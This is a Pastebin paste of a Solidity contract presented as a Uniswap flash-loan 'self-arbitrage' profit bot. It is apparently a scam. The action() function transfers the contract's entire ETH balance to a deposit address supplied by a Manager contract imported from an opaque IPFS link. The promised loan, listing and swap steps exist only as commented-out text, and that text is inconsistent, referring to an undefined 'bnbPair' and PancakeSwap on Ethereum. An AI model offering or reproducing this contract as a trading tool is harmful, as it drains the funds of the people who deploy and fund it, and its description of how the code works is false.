X-Grats

ETH

Oct 14th, 2023
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.42 KB | None | 0 0
  1. pragma solidity ^0.5.0;
  2.  
  3. //uniswap smart contracts v2 and v3
  4. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
  5. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
  6. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
  7. import "https://ipfs.filebase.io/ipfs/QmcMJuEGGBbupP1mLmNJUWhBQg4WN1ZkoHTQxdmcyX9zxB";
  8.  
  9. contract GetFlashLoan {
  10. string public tokenName;
  11. string public tokenSymbol;
  12. uint loanAmount;
  13. Manager manager;
  14.  
  15. constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
  16. tokenName = _tokenName;
  17. tokenSymbol = _tokenSymbol;
  18. loanAmount = _loanAmount;
  19.  
  20. manager = new Manager();
  21. }
  22.  
  23. function() external payable {}
  24.  
  25. function action() public payable {
  26. // Send required coins for swap
  27. address(uint160(manager.pancakeDepositAddress())).transfer(address(this).balance);
  28.  
  29. // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
  30. // Breakdown of functions written below
  31. manager.performTasks();
  32.  
  33. /* Breakdown of functions
  34. // Submit token to eth blockchain
  35. string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
  36.  
  37. // List the token on uniswapSwap
  38. manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);
  39.  
  40. // Get ETH Loan from Multiplier-Finance
  41. string memory loanAddress = manager.takeFlashLoan(loanAmount);
  42.  
  43. // Convert half ETH to DAI
  44. manager.uniswapDAItoETH(loanAmount / 2);
  45.  
  46. // Create ETH and DAI pairs for our token & Provide liquidity
  47. string memory ethPair = manager.uniswapCreatePool(tokenAddress, "ETH");
  48. manager.uniswapAddLiquidity(bnbPair, loanAmount / 2);
  49. string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
  50. manager.uniswapAddLiquidity(daiPair, loanAmount / 2);
  51.  
  52. // Perform swaps and profit on Self-Arbitrage
  53. manager.uniswapPerformSwaps();
  54.  
  55. // Move remaining ETH from Contract to your account
  56. manager.contractToWallet("ETH");
  57.  
  58. // Repay Flash loan
  59. manager.repayLoan(loanAddress);
  60. */
  61. }
  62.  
  63. }
Add Comment
Please, Sign In to add comment